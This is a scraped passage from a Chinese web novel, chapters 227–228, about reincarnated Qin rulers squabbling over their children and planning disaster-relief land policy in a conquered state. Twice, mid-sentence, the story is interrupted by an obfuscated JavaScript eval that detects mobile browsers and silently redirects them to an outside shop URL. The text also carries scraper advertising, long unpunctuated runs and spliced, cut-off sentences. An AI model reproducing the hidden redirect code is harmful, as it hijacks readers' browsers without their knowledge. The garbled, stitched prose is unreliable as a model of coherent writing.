“朕在夏国境内策反了许多文臣武将,这些都是助力。夏帝虽多疑,却总是多疑不到点子上,不曾发现端倪。” 无效多疑,还容易遭人诟病。 秦政在脑子里过了一遍“策反了许多文臣武将”是个什么意思。 片刻后,他轻笑了一声。 所以夏国现在看起来是个运转正常的国家,等和秦国正式开战之后,就能让夏帝见识一番什么叫“地方上闻风而降,中央里全是反贼”? 有点惨了。 势力最大的夏国都这样,渊国和蛮国估计也好不到哪里去。不过蛮国人其实不太容易拉拢策反,可能会稍微麻烦些。 秦王最后说了一句: “朕当初三十九岁一统天下,如今也有三十三了。再活一世,总不能成就还不如前世。” 虽然今生因为秦国境内百废待兴的缘故,先天条件太差,浪费了他很多时间打基础。但秦王觉得这不是拖沓的理由,反正他得在三十九岁之前完 成大一统。 秦政与他的想法不谋而合: “合该如此。” 秦军收到指令打一枪换一个地方。不和夏国回援的大军死磕专注拿城。 夏国大军还在渊国边境被牵制着呢剩下的这点兵力压根做不了什么。 他们要是想调动大量士兵过来夺城就得消耗大量粮草。 赶路的时候耗粮可是很多的。 而且赶路只是单纯挪地方不是打仗。这部分军粮属于额外支出了至少在夏国的账面上属于本不必要浪费的耗损。 类似的耗损多了夏国肯定吃不消。 秦国准备通过赶路消耗夏国军粮等夏国没粮了打他们将会更加轻松。 同时 渊国被夏人打出了火气夏军撤退他们可不会放任。届时少不得追出来打泄愤的同时也能顺手抢一点夏国城池。 但秦国打的城池是驻军少的渊国打的是驻军多的。拼损耗肯定是渊国吃亏长此以往就能形成优势压制。 此前夏国军队在南方和渊人对战只听说今年天冷。当真正北迁去追击秦人时才见识到了今年到底有多冷。 夏国士兵的衣服比秦国士兵的要单薄得多被冻得瑟瑟发抖。 秦国立刻抓住机会扩大优势专挑最冷的清晨或者夜间出动。敌人又困又冷被冻得手脚僵硬人数还不占优势秦国很快就打出了好几场大胜。 消息传回咸阳已是元月中旬。 气温终于开始回升因为要开春了。 渊楚怀孕也有两个多月了她之前是怀孕一个月就查了出来。最近嘴越发刁除了爱吃的其他都不怎么吃得下去。 尤其不肯吃蔬菜。 秦政一看就知道是扶苏的坏毛病: “梓桑也不爱吃蔬菜。” 扶苏不背这个锅: “是肚子里的小家伙不爱吃与我无关。” 秦国如今的领土不和海域接壤渊楚想吃点海鲜都费劲。 她本身是渊国人渊国临海以前她吃这些都是管够的。现在来了秦国想吃都吃不到偏生父子几个全爱吃这东西她肚子里的这个也一样。 渊楚因此情绪低落。 好 第 227 章 玄景的烦恼 第227章玄景的烦恼 同人不同命。 秦玄景最近已经对这句话拥有了深刻的理解,毕竟天天都能见到生理年龄比他大的秦梓桑跟他爹撒娇。 九个月大的玄景崽:我都不撒娇! 玄景绷着一张小脸默默盯着扶苏看,心想这家伙就不能成熟一点吗?他又不是真的十二岁,不知羞。 秦政忽然伸手揉了揉小宝的脑袋: “怎么看着不高兴的样子?” 玄景崽的严肃脸裂了。 他父亲从来不会这么揉他脑袋,他有点不太适应。 扶苏也揉了一把。 然后就被反应过来的玄景一巴掌拍开了,揉什么揉,真把自己当他兄长了?惯的你。 扶苏摸了摸手: “阿父,他打我。” 玄景:?居然还带告状的? 记性差的小崽就是容易吃亏,稍微久远一点的事情就不记得了。所以玄景总是会忘记他四哥是个什么样的人,但凡扶苏近期没犯贱,他就很容易掉以轻心。 幸好秦政明辨是非: “他只是把你的手拍开了。” 扶苏换了个角度告状: “他一点都不懂尊敬兄长,阿父你好好教教他。” 玄景重新把小脸绷起来了。 无聊。 他猜太子不会顺着秦梓桑的话训斥他,事实证明确实如此。秦政一般不会放任儿子欺负别人家的孩子,尤其是孩子亲爹就在附近的情况下。 秦政反而说了儿子一顿: “你是兄长,你应该先友爱弟弟。” 玄景心想,父亲果然还是一如既往的有原则。 然后他就打了个哈欠睡午觉去了。 睡了一会儿翻了个身,迷迷糊糊醒过来听见两人的交谈声。他听了一会儿,好像是父子俩在聊天。 扶苏撒娇抱怨: “阿父刚才教训我了。” 秦政哄道: “当着外人的面朕总不好偏袒你。” 秦·外人·玄景:…… 原则?原则是什么东西?原则是一种没有的东西。 玄景觉得这样下去不行,他得想个办法反制住某人。幼小的身 体还是太限制他了,导致他的心智也受到了影响。 其实秦玄景并不是严肃板正的性子,也并不喜欢天天板着个脸。架不住他现在是婴儿肥包子脸,板着小脸才能看起来稍微有一点威慑力。 如果还像以前一样的话,保管要被当成小孩玩弄。 玄景崽爬了起来: “我,听见。” 九个月大的崽说话还有点磕巴只能一个词一个词地往外吐没办法说得太利索。等过了一周岁就好了,有些孩子一岁就能嘚吧嘚吧说一大堆。 玄景因为很不爱说话,能不说就不说。 然而他难得开口,被揭穿的父子两人却没一个尴尬的。 扶苏靠在他爹身上探头: “哦那又怎么样?” 玄景直接忽略了他。 他刚刚认真思考了一下发现对付秦梓桑这种贱兮兮的人最好的办法就是无视。你越搭理他他越来劲。 偏生梓桑遇到的人基本都不会故意不理他还是相当给面子的。这就助长了某人的气焰开始变本加厉起来。 没关系 玄景在榻上的小桌边坐下见桌上摆了一本棋谱干脆翻开来看一看。 太子喜欢下棋他记得。但是梓桑不爱下棋父亲又很忙太子总是找不到棋搭子。 玄景并不需要启蒙学习那些正经的知识这些他都会。空出来的时间正好可以琢磨一些别的比如棋艺。 到时候他就给太子当棋搭子。 玄景瞥了扶苏一眼。 他心想虽然太子肯定更疼亲生的但他毕竟也是扶苏。只要他好好表现未必不能多在太子心里占据一席之地。 秦梓桑最在乎这个报复一个人的最好办法就是抢走他最在乎的东西。 呵不就是争宠?谁不会呢! 玄景好歹也是在三十多个手足里杀出来的怎么可能光靠排行居长就能得到父亲全部的偏疼肯定有独特的本事。 玄景认真回忆了一下他父亲喜欢他的哪些特质。 即便太子和他父亲略有差别也不会太大。都是始皇帝喜好总不可能大相径庭。 最后玄景做出了总结。 第一要懂事乖巧体贴孝顺; 第二要有能力有主见有手腕。 剩下都是附加项有最好没有也不要紧。 同样的问题要是交给扶苏大概会得出完全不同的结论——阿父喜欢离不开他的能够完美满足他的大男子主义。 秦玄景开始了加倍努力。 秦政今日略有些空闲不然也不会中午突然回来。 他有空了不往别的地方去 跟扶苏一起看了一篇杂记后秦政抬头发现小玄景正在看棋谱。他来了点兴致问玄景是不是也喜欢下棋。 玄景磕磕绊绊地表示: “还好就是寻常消遣。” 没有特别喜欢但也不至于讨厌。 秦政干脆和他下了一盘。 下完夸了一句玄景下得不错可见不仅认真研究过日常也没少锻炼自己。 围棋博弈可以训练大局观也能通过下棋了解对手的行事风格是以秦政对喜欢下棋的人观感都还不错。 玄景心想自己的计划果然是正确的太子确实喜欢能陪他下棋的儿子。 玄景控制住自己不去看扶苏。 他才刚刚开始努力刷好感绝对不能在这个时候去找扶苏炫耀。要表现得谦逊乖顺不让秦梓桑找到告他黑状的机会。 然而—— 扶苏随意地拿他爹当靠枕靠着就着这个姿势闲适地翻着他的杂记。 太好了终于有人来替他陪阿父下棋了!他再也不用被阿父逮着下棋可以干自己想干的事情了! 玄景属实是努力错了方向。 秦政当然喜欢谦逊乖顺的孩子但这年头讲究一个会哭的孩子有奶吃。 扶苏那群弟妹多的是乖的秦高难道不谦逊不乖顺吗?在同样乖顺的孩子里想要脱颖而出那就只能另辟蹊径了。 玄景一下午陪着秦政下了好几局棋。 下完之后玄景心情很不错觉得自己好感度刷到了。秦政心情也很不错难得有人陪他下棋下到尽兴。扶苏的心情就更加不错了帮阿父弄到了一个棋搭子工具人真是意外之喜。 大家都有美好的未来。 傍晚秦王过来和他 们一起用晚膳一家五口就缺个渊楚了。但渊楚自觉自己是太子的庶母不好往太子宫来一般是不会主动过来的。 秦王来了先伸手把儿子拎起来: “重了点。” 玄景崽努力维持了一下午的严肃包子脸又裂开了。 他扑腾了一下: “父亲!” 秦王这才改变动作把他抱进怀里。 他还倒打一耙: “你现在倒是不像以前了朕记得你以前不爱板着脸的。你这样子朕看着不习惯 说完看了一眼秦梓桑: “就像梓桑这样。” 玄景:? 秦玄景瞪了秦梓桑一眼。 他还没把梓桑他爹抢走呢这家伙倒先把他爹笼络住了。 扶苏矜持地微笑。 没办法谁让他天生讨喜呢? 秦王以前觉得他更喜欢沉稳的儿子虽然也喜欢活泼的幼子但肯定比不过沉稳的长子。 但是他后来见识到了该活泼的时候活泼、干正事的时候也能沉稳下来的梓桑突然就想既要又要了。 毕竟是个喜欢五彩斑斓的黑的陛下。 所以他很快把这个要求拿过来放在了亲儿子头上并且说出了华夏家长的必备名言——你跟隔壁梓桑学学。 一向是全天下最优秀太子的秦玄景没料想有一天他也会受到来自“别人家孩子”的暴击。 玄景因此心情不太好。 哪怕父亲久违地抱了他他也觉得心情不畅。 秦政看了两个在别苗头的孩子又看了看心大到完全没发现不对的始作俑者孩子他爹。 秦政:…… 这个家还是不能没有他。 秦政认命地叹了口气开口打圆场: “玄景也很好阿苏不如他稳重也要改改坏毛病。” 扶苏根本没往心里去: “好呀我努力。” 玄景忍不住想到之前他听见的太子说“朕不好当着外人的面偏袒你”。 玄景面无表情。 他都懂场面话嘛。 秦王用完膳就抱着儿子去找孩子他娘了从头到尾都没意识到自己pua了儿子。路上还不忘 叮嘱玄景崽跟他说他哥很懂商战希望长子能把这个学会。 秦王感慨道: “你把这个学会朕以后打仗就不缺钱了。” 玄景揉了揉绷了一天有点僵硬的脸: “知道父亲。” 不就是学习吗?天底下就没有他学不会的东西这些都是小事为了父亲他可以的。 秦王心情愉悦地把儿子递给渊楚和夫人分享儿子今天都做了什么: “朕听闻苏儿今日陪太子下了几局棋下得还不错。” 渊楚忍俊不禁: “他这么小的人哪里会下棋?定是太子殿下哄他玩呢。” 秦王没有多作解释: “他和梓桑还闹别扭 玄景扭头看他爹。 父亲都看出他俩关系不好了还非得说让他和梓桑学果然是故意的。 秦王居高临下地看着儿子学着秦政和扶苏那样伸手捏了下儿子的小嫩脸。 不等玄景抗议就说: “整个晚膳都见你气呼呼的倒是比以前有活力了。” 玄景虽然是个腹黑性子却不像扶苏那种是笑面虎类型。他不怎么笑经常风轻云淡的脸上没什么表情叫人捉摸不透。 总之比现在看着冷静多了缺少了一点年轻人的朝气。而且秦王记得玄景从小就这样难得穿越后竟能改了性子。 果然还是梓桑的功劳吧。 渊楚替儿子揉了揉脸: “王上少捏他苏儿现在也大了有小脾气的不喜欢旁人捏他脸。” 秦王给面子地颔首: “行朕不动他。” 玄景把脸往阿娘怀里一埋他爹不知道跟谁学的越发恶趣味了。还是他娘最好永远温柔永远疼爱他。 秦王很快把儿子拎出来塞给乳母让人把碍事的小崽子带走不要打扰他和夫人相处。 玄景:…… 他到底什么时候才可以单独出去住?虽然阿娘很好但是他住这里怪尴尬的。 玄景崽第二天向他娘提议: “我想住太子宫。” 渊楚有些惊讶: “苏儿为什么想住到太子宫去?” 玄景不好解释 说他小小年纪就懂男女之事和父母住一起不太自在。皱着小脸努力想借口而且还得想个能说得明白的借口。 结果他娘先帮他想好了: “是不是想和阿兄住在一起?阿娘就知道你喜欢梓桑阿兄你还不承认。昨日为何同阿兄闹脾气?跟娘说说。” 玄景:……孤喜欢他个鬼。 但是为了搬出去玄景崽只能点头承认了这个说辞。 然而他都付出了这么大的牺牲渊楚还是一口回绝了。说苏儿你年纪太小了还不能单独出去住要跟着母亲一起住才行。 玄景跟他娘说不通只好去找别人说。 能让阿娘改口的只有父亲。所以等被送去太子宫这个“幼儿园”后玄景就闹着要去找爹乳母拿他没辙 秦王正同臣子商议事情。 侍官原本不想通报的恰逢秦政从偏殿出来。恰好秦政也要进去就接过小孩一起抱进去了。 玄景又不是寻常幼儿不会打扰秦王干正事。 秦王见他带个小崽子进来也什么都没说还伸手主动把孩子接过去了。 群臣都闹不明白这是在玩哪一出看起来进屋的小公子应该是渊国公主所出的十公子。太子把他抱进来王上也没呵斥莫非是想展示对渊国的亲近? 可大秦最近好像和渊国没什么合作。 臣子聊完正事百思不得其解地离开了。留下父子三人大眼瞪小眼秦王扭头问秦政把玄景带进来干什么。 秦政说他在门口就见到小孩了不知道孩子想做什么。大抵是他们父子之间的私事别问他。 玄景仰着头看父亲: “想搬去太子宫。” 秦王问道: “就这?” 玄景严肃点头。 秦王示意他自己征询秦政的意见太子宫是人家的宫室他不好越俎代庖。 玄景就扭头去看秦政。 本以为秦政会答应毕竟他爹都没意见了而太子宫里偏殿多得是他住进去也不会碍事。 然而秦政却说: “你去问一问梓桑他同意了就可以搬进来。” 秦王父子同时疑惑地看着他。 秦政理所当然地说: “宫殿是朕与梓桑一起住的,自然要两人都同意才行。 秦王父子费解地皱起眉头,动作十分同步,一看就是亲生的。 他们俩都习惯了秦王这个当爹的做主,冷不丁遇到个过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375642|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于好说话的,居然征询儿子的意见。 太过开明的相处方式完全不符合传统古代家长的习惯,两人都是头一次见。 半晌,秦王说道: “你也太惯着他了。 秦政却说: “我只是将他当成了独立的人,而不是我的附庸,尊重他的想法。 秦王反思了片刻,有些不解: “朕也没有将玄景当做朕的附庸,但这并不妨碍朕做他的主。 他当然知道儿子是独立的人,他觉得这一点并不冲突。 秦政随口回道: “你那是习惯了做所有人的主。 无论是儿子还是臣子,都没有特殊待遇,全都得听他的。 秦政也有这个毛病,只不过扶苏被单独拎出来例外了。换成其他儿女,他照样会理所当然地安排他们的一切。 秦王却对秦政的心路历程产生了好奇心,他把儿子放到一边让人自己玩,跟秦政探讨起两人的观念差异来。 秦政以前没有自我剖析过,秦王问他为什么会形成这种习惯,他一时竟也答不上来。所以他认真地沉思了许久,终于想到了一个可能性。 秦政回答: “或许是阿苏小的时候,朕忽悠了他太多次。 扶苏现在的性格可以说是秦政一手培养出来的,他的所有处事风格都有秦政的影子。别人都以为扶苏要么是自学成才,要么是受先王影响。 其实不是,是秦政引导的。 扶苏小时候还挺好骗,被个别有用心的宗室骗得以为阿父有了娇妻幼子就不疼他了,还会把他丢去别国为质。 秦政后来就觉得儿子不能太好骗,宁愿出去骗人也不能自己吃亏。所以精挑细选了一些先王们的记录给儿子看,让他照着这些人学。 什么秦稷的缺德、子楚的腹黑、穆公的伪善,都是他挑出来的。扶苏就是一张白纸,吸收还快,效果特别显著。 除此之外,秦政还会在别的方面忽悠儿子 。 比如发现儿子过于排斥弟妹,就给儿子洗脑,说弟妹以后都是他的牛马,要给他干活的。 发现这么说用处不大,立刻改进了说法,变成弟妹都是父亲的牛马,要给父亲分忧的。 这下就好用了,扶苏开始认真地抓弟妹们的教育。打压弟妹不让他们进学是不可能的,反而敦促弟妹成才,这样才好早点毕业出来给他阿父干活。 这招屡试不爽。 觉得扶苏最近不听话了,就装疲惫让儿子心疼,以后就会愧疚地主动改正,绝不再犯。 觉得扶苏还不够努力,就跟他说阿父相信你可以的,你不会让阿父失望。小孩绝对打鸡血,再难也要咬牙啃下来。 还会跟扶苏说别人家太子如何如何,扶苏就会努力压过对方。反正阿父的太子不能比别家的差,不然要连累阿父被别人嘲笑的。 秦政对于利用儿子的爹控达成目的这一点非常驾轻就熟,用过太多次了。 次数多了,难免心虚。 秦政反省自己: “所以朕觉得应该对阿苏好一点。” 秦王:…… 玄景:…… 玄景小脸震惊,这都什么无良渣爹洗脑掌控可怜儿子的实录啊?秦梓桑以前过得都是这种日子吗? 突然觉得他有点惨了。 秦王则是目光游移地看向其他地方,诡异地保持了沉默。 因为,他好像也干过类似的事情…… 就那种跟儿子说朕希望你能学会什么什么,朕的太子不能比别人差云云。玄景还同情别人呢,完全没发现自己也是受害者之一。 秦王的目光和秦政对上。 双方了然地各自收回视线。 所以说不同世界的同位体,确实就是同一个人,没什么好说的。 玄景回去找扶苏征询意见了。 秦政回偏殿处理政务,处理到一半突然想起来,其实他跟秦王他们说的理由并不是最初的起因。 真要说的话,其实是扶苏小时候情感缺失,对什么事情都没反应。 秦政为了治疗儿子,就会不断地问孩子最近想做什么、想要什么、这样行不行、那样好不好。时间长了以后,就形成了习惯,格外注重扶苏的个人想法。 他觉得这样没什么不好的,自己和阿苏的感情因此非常亲昵。 秦政心想,当初发现孩子的病情后没有放弃他,而是亲自把人接到身边悉心教养,是自己做过最正确的选择了。 太子宫。 玄景在思考要怎么才能说动秦梓桑同意他住进来,那家伙小气吧啦,不一定会答应。 但是不住到太子宫,去外头找个别的宫殿住,阿娘是绝对不会同意的。只有太子宫能叫她勉强答应,因为有太子和梓桑在,她觉得两个都是靠谱的人。 玄景:我娘认为梓桑靠谱就已经是一件很离谱的事情了。 扶苏听完玄景的话: “你想住过来,也不是不行。 小孩到底还是落他手里了,扶苏眼眸一转,就开始打坏主意。 玄景迅速说道: “我睡,你屋。你睡,太子,屋。 扶苏的坏主意戛然而止: “好!成交! 说全网首发无弹窗免费阅读qiexs?(请来企鹅小 说 看最新章节 完整章节) 扶苏愉快地搬到了阿父的房间,他可能有点肌肤饥渴症,就喜欢赖在父亲身边不走。 玄景显然是发现了这一点。 虽然不理解,但他选择尊重。而且关键时候能帮上自己的忙,反正跟他也没什么关系。 秦政回来就发现床上多了个碍事的儿子,酷暑的天气也不嫌热,愣是要和他挤一床。 秦政走过去在床边坐下: “多大的人了? 扶苏翻了个身去拉父亲袖子: “是玄景非要住我那屋。 秦政哪能不知道他是在甩锅,不过扶苏敢这么说,就证明玄景确实住到了他那屋去,而且大概率还是玄景先提的。 秦政看了一眼儿子: “等夏日过了,就让他搬去偏殿。 偏殿不如主殿凉快,本来玄景临时搬过来估计得和扶苏挤一挤,等匠人在偏殿上架设好降温的水幕机关才会搬走。 以扶苏的性子,他才不肯跟玄景挤呢,迟早会跑来父亲这里,秦政对此早有所料。不过看儿子欢欣雀跃的模样,到底还是把玄景迁出去的时间往后挪了挪。 秦政去沐浴换了一身衣服回来,见扶苏还兴奋的睡不着觉,不由失笑。 还跟个小孩子一样。 秦政问他 第 228 章 骗与被骗 第228章骗与被骗 今年的寒灾来得比预想中都要快。 大秦的军队还守在码头周围等着堵渊王呢,大雪先落下了。 玄景是九月的生辰,父子四人商量怎么捉拿渊王时,就是在九月份,玄景刚过完四岁生辰的时候。 等最新指令快马加鞭送到渊国,也不过才十月中旬。 结果十月底下大雪了。 还不是只有往年本来就会下雪的中部和北部在下雪,连南边的渊国都下雪了。皑皑白雪压下来,让常年见不到雪的不少渊国人都十分惊疑。 但这个年头的老百姓可没什么赏雪景的心思,他们想到的只有寒冷的冬天要怎么活下去。 秦军刚打下地盘,就焦头烂额地进入了抢险救灾的阶段。 幸而王上和太子对此早有安排,之前就做过预演。假如不幸遭遇天灾,要如何应对,军队中都特训过。 年迈的大将军比旁人更怕冷一些,可他依然顶着寒风走在街道上,亲自巡查城中的情况,看看士兵们是否因为寒冷而存在偷懒的迹象。 临海地区的庶民家宅还好点,往年也要应对台风的突袭,相对来说还是坚固很多的。哪怕暴雪落下,也不会一下子就被压塌掉,给庶民留下了清理积雪的机会。 往北的湘赣等地情况就要严重些。 好在长江流域近些年也会下雪,冬日里下个两三场属于常见情况。只不过一般不会下得那么大,各家也没有养成扫雪的习惯。 将军们发现不对劲后,特意安排了人手在夜里冒着雪敲锣打鼓,高声提醒百姓白天记得清雪,不要抱有侥幸心理。 为了叫他们意识到事情的严重性,还根据四公子给出的预案,编了几个听着特别恐怖的事件出来吓唬人。 什么城东的王二麻子一家已经被雪压塌了房顶,全家都埋在了里头。其实城东压根没有这号人物,如果有,纯属巧合。 还有什么隔壁村有家人住的房子不够结实,已经塌了,不信村人们自己去隔壁村看看。实际上根本没人会去,这么冷的天哪有空走亲戚。 全城通知难度倒是不大,城里道路都是规整的,而且这年头一座城的人口也不算很多。 四国人口加起来也才两千万。 麻烦的是通知村庄分散在各地的村落要挨个通知过去可不容易。 渊国原本的小官小吏都被抓了壮丁拎去处理救灾事宜。大头兵一人盯一人不好好干活的直接砍了。 好在人命关天的时候 他们这代人从小听着夏国要灭渊的故事长大其实早就做好了亡国的准备。虽说现在事情出了一点意外灭渊的变成了秦国但对底层官吏来说区别不大。 不仅是他们就连从贵族家里收缴的奴隶也被拉来干活了。 大秦是要废奴隶制的可渊人自己不知道。 将军们就抓着这点跟他们说: “现在本将军有件事需要你们去办办得好的以后就能从奴隶籍变回寻常庶民。” 没有奴隶不想脱籍的当即群起响应。将军们就安排他们分散去各村传讯正好他们会说当地方言比士兵过去传讯效果更好。 这样还不用担心奴隶会不好好干活或者趁机逃跑。 能跑到哪里去呢? 先不说外头天寒地冻的没钱没粮没地没房跑了也活不下去。就说他们的身份如今还是奴隶逃跑的奴隶不会有好下场的要跑至少也得等脱籍再说。 所以奴隶们积极地干完活就回来了不仅领到了脱籍的文书还领到了一些口粮。 将军还说之前他们在贵族家里住的房子就归他们所有了但是之前归他们种的地不能直接给算是租赁给他们的。 打完土豪后将军们收缴了大量原属于贵族的资产哪怕给奴隶们分了不少手头还留下了许多。 这群人是真能囤啊。 秦王把奏报递给……原本想递给秦政看的但一抬头看见梓桑眼巴巴盯着他便先给了儿子看。 旁边稳重的玄景由于过于稳重并没有展现出自己也想看的迹象被秦王丝滑地忽略过去了。 玄景:…… 头一次觉得沉稳的人会有点吃亏。 扶苏接过飞快看完: “每家贵族的粮仓里都囤了远超正常存量的粮食应当是近些年气候反复贵族意识到危机特意为灾年准备的。” 秦 政立刻联想到什么: “近些年粮价可不便宜。” 贵族要多囤粮,无非就是那么几种方法。 比如直接采购粮食,但市面上流通的粮食其实不多。庶民的收成有限,不到万不得已不会卖粮,都是留着做种和自己一家人吃。 事实上绝大多数的庶民留下种子后,剩下的粮食都不够全家吃一年的。渊国稍微好一点,其他国家这种情况相对严重。 为了解决饿肚子的问题,庶民会在野菜野果充足的时候,少吃点粮食。多采摘这些东西果腹,把粮食留在外界弄不到吃食的时候填肚子。 也就是说,贵族想要买到外头的余粮不容易。哪怕有粮商愿意出售,也会因为年景不好价格提得很高,对贵族来说并不划算。 所以贵族还会选择另一种方式。 贵族手里的地是比庶民手里要多得多的,他们大部分的存粮都是靠着自家土地的收成来囤积。 既然外头买不到粮,又想提高存粮的数量,这不就有个现成解决方法,可以一劳永逸吗? 秦王递过来第二封奏报: “派去的官吏查到了大量贵族强买庶民田产的旧事。” 这几年渊国出现了非常严重的土地兼并。 贵族们认为买粮不如买地,买了地还能每年有固定产出。而且土地本来就代表着一个贵族家族的实力,没人会嫌弃自家地多。 至于被强征了田地后庶民日子会不会过不下去——仁慈的贵族老爷已经帮忙想好了应对之策。 你看,我贵族家里有地,但是没有足够的人手帮忙种地。你家里没有地,但是你种了几十年地,肯定能把庄稼伺候好。 这不是很完美的解决方法嘛! 直接把你们这些卑贱的庶民招揽过来替我家种地就解决了,族中还能赏你一口饭吃,教你不至于饿死。 不过贵族肯定不会单纯招揽佃户,佃户哪有奴隶好掌控呢? 虽然渊国有过律法规定不许轻易将庶民收为奴隶,可架不住上有政策下有对策。贵族总有法子钻漏洞的,反正渊国吏治混乱又管不到他们。 扶苏看完递给父亲,秦政看完又递给玄景,玄景看完则皱眉点评了一句“真是胡闹”。 如今这些土地都归了大秦官府。 秦国不是做慈善的肯定不可能直接把地归还给这些庶民。而且这个口子也不能开既然规定了只能通过军功得地或者买卖田地那就得走流程。 按照秦王的性子肯定是不管这些的。叫庶民从官府租地就是了田租定得低一些不至于饿死即可。 秦政却道: “好歹给他们一些田地安身少给些也无妨不能完全没地。” 完全没地的家庭毫无抗风险的能力遇到点事情就容易全家遭殃。 大一统王朝需要求稳统治者其实更希望庶民家家有地安顿下来好好过日子、能稳定地产出粮食赋税。 秦王缓缓皱起眉头。 他承认秦政说的有道理不过和他往日的行事作风不同所以一时就想让他接受并不容易。 扶苏默契地接上父亲的话茬: “其实此事也好解决。” 玄景看了过来想听听梓桑有何高见。他还没怎么见识过扶苏治国理政方面的能力因为两位父亲太能干没给扶苏发挥的空间。 扶苏微微一笑: “指望他们用军功封地不太现实却可以给他们一个将地买回来的机会。” 秦王示意他详细说说。 扶苏继续讲解: “买地只需用银钱即可就叫他们检举贵族以往的恶行、献出一些渊国特有的方子、或者做任何可以立功的事情。” “立了功便会有金钱奖励也可以向官府优先购买田产。少有庶民会拿着钱去做别的自然是第一时间选择购回自家的田地。” “秦军初入渊国人生地不熟正是需要当地庶民协助的时候。他们有了立功的机会秦军也能趁机掌握更多情报这是双赢的合作。” 比起直接还地这种方式虽然迂回却更让人们觉得踏实。 官府把地赠给庶民有时候庶民是惶恐不敢要的。他们很难相信官老爷会那么好心反而等价交换更容易长久。 而且还地要怎么还? 近五年被抢的地还给主人那再往前六年七年被抢的还不还?继续往前数十几年前的还不还?凭什么他还我不还? 这么一路数下去 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节)先不说能不能查证清楚那些地到底是正常买卖还是被低价强买强 卖的。就算能查得清,只怕刚从贵族手里收缴来的田地也不剩下多少了。 大秦官府手中还是得多握点地的。 不仅是得提前留下给军功战士的奖赏,还得叫官府自己手里拥有底牌。绝不能把所有地都分出去,官府一点不留,以后会很被动。 不过这个操作方法没办法叫庶民都拿回和原本数量一致的土地。 有的人可能提供的情报多些,能赚一点。有的人提供不了太多情报,就只能勉强买回来一部分地,剩下的要靠租田维持生计。 但总比全部靠租要安稳得多,租官田也会比租私田稳妥一些。贵族私自出租,定的租金比例很多时候都非常黑。 这也是扶苏坚持在官府手里留田地的原因,大不了好好建造监察系统,防止相关官员在田租上动手脚。 秦王听罢若有所思。 秦政听出儿子的计策里还存在漏洞,应该是有未尽之意。 于是配合地问道: “若有庶民实在寻不到立功机会,赚取不到任何赏钱,无法购回土地呢? 玄景也点头附和: “恐怕一大半的庶民都提供不了什么情报,无法买回田地。 扶苏胸有成竹地提出了解决方案: “天灾频发,若一直任由庶民自行耕种,抵御风险的能力就太差了。其实儿臣早有想法,认为特殊时期应当实行特殊的农桑政策。 秦王父子还没听明白。 秦政已经秒懂: “既然大秦的村落可以实行军事化的管理,那么在种田上自然也可以。以屯田的形式耕种,安排无田的庶民集体劳作,便能大大提高生产效率。 屯田制从来都不是只有军人参与的,这里头存在多种操作方式。 其中民屯就是给民众提供田地、工具、种子等物,让他们听从官吏的安排。最后的收成按比例上交,留下自己够吃的,剩下都充作军粮。 代换到大秦,就是交给府库,为了接下来应对天灾作赈灾粮食用。 屯田是比较辛苦的,因为农民种得多也不会多给。一般就是给够吃的量,剩下的产量再多也和屯户无关。 兵荒马乱的年代这招好用,太平年间就不太行了。 首先,寻常庶民不太受得 了军事化的管制。其次,谁不想给自家攒点家底? 而且屯田一般会伴随着别的好处。 扶苏补充道: “庶民都被聚集起来管束,便不容易闹事生乱。等到农闲时节,还可以安排他们集体劳作,去修建水利等。” 秦王眼前一亮。 这和徭役不一样,但是却能做徭役时需要庶民做的事情。如今天下各地都等着大秦去打理,这些事情真的缺人干。 何况水利这东西就不存在不需要修建的情况,哪怕用不上新建,也得修缮原有的水利工程。 当然,集体劳动都是次要的。 屯田制在天灾时期最主要的好处还是集体种粮。 提高效率就可以提高产量,集体管控就方便中央调度。若是可以,所有庶民都参与屯田才是最理想的情况,能大大提升国家应对灾害的能力。 现代天灾文一般也有类似的操作,政府接管田地,然后安排人集中耕种,保证灾害下的基础粮食产量。 大秦如今的优势在于—— 玄景很快意识到此举可行: “庶民以前种田本来就吃不饱,只要这么做能让他们吃饱饭,他们就肯干。” 多余的粮食不分下来又如何? 总比自己单独种田饿死强。 现在年景不好,再不提高产量是真的有可能饿死的。即便是有地的庶民都能想明白,手里握着土地不代表什么,遇到天灾依然可能要全家饿肚子。 秦王看得更远: “如今时令已乱,许多农人种地的经验已经派不上用场。他们自行耕种的产量只会越发削减,时间一长,自然会羡慕屯户能吃饱。” 先用里村的军事化管理让各国庶民习惯这样的看管,有天灾打击的情况下他们应该会接受得更快。 等他们接受了这一点,再进一步的军事化集体种田,自然也能慢慢接受。何况还有甜枣吊在跟前,算是双管其下了。 最后,全国都是集体种植。 扶苏这招算计的不仅是当下,还有未来。想叫新生的秦朝扛过天灾延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375643|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续下去,不用点特殊的法子怎么行? 等天灾过去,年景变好了,就可以放庶民出去自由耕种。 到那时,官府只需在该育种、该插秧、该 追肥、该收割等操作的时令安排人提醒一二不必再进行强制规范。 玄景忍不住感慨: “特别之时行特别之政吗?确实是个不错的法子。” 玄景虽然跟着父亲一起处理过大一统后的各项问题后来也当过秦二世。不过最初到底是秦王在执政他就是个辅助的太子更多时候是听令行事。 后来等他继位时秦王比正史上多活了好些年。所以传到他手上的大秦平稳得多相比之下就不如扶苏饱受磨练。 能力上玄景不一定比扶苏差 玄景不知道扶苏前世的经历他只听说秦政活到八十才驾崩。 